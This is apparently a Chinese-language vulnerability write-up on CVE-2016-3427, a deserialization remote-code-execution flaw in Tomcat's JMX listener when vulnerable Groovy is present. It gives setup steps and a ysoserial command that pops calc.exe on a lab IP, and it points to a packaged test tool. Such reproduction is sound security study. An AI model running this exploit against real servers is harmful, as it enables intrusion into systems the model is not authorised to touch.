漏洞背景
Tomcat是运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器。Tomcat也可以看作是Apache的扩展,不过实际上Tomcat也可以独立于Apache运行。
漏洞描述
Oracle修复了JmxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)。部分Tomcat用户可能使用了JmxRemoteLifecycleListener这个监听器,但是由于Tomcat并没有及时升级,所以存在这个远程代码执行漏洞。
漏洞原因
漏洞最根本的原因是Tomcat配置JMX做监控的时候使用JmxRemoteLifecycleListener方式(tomcat使用jmx rmi做监控有两种方式)
而JmxRemoteLifecycleListener底层使用了存在漏洞的groovy-2.3.9.jar包,导致了序列化漏洞(远程代码执行)。
利用条件
需要支持开启JmxRemoteLifecycleListener方式,默认不开启
漏洞利用
我测试软件已打包 (提取码:qXghV9) 需要自行在catalina.bat修改IP地址
环境准备
0.需要将catalina-jmx-remote.jar和groovy-2.3.9.jar包放到Tomcat/lib目录下
1.修改 Tomcat/bin 目录下catalina.bat,添加以下内容(window为例)
2.修改 tomcat server.xml 配置文件,添加以下内容
3.攻击测试
java -cp ysoserial-master.jar ysoserial.exploit.RMIRegistryExploit 10.18.35.13x 8009 Groovy1 calc.exe
网友评论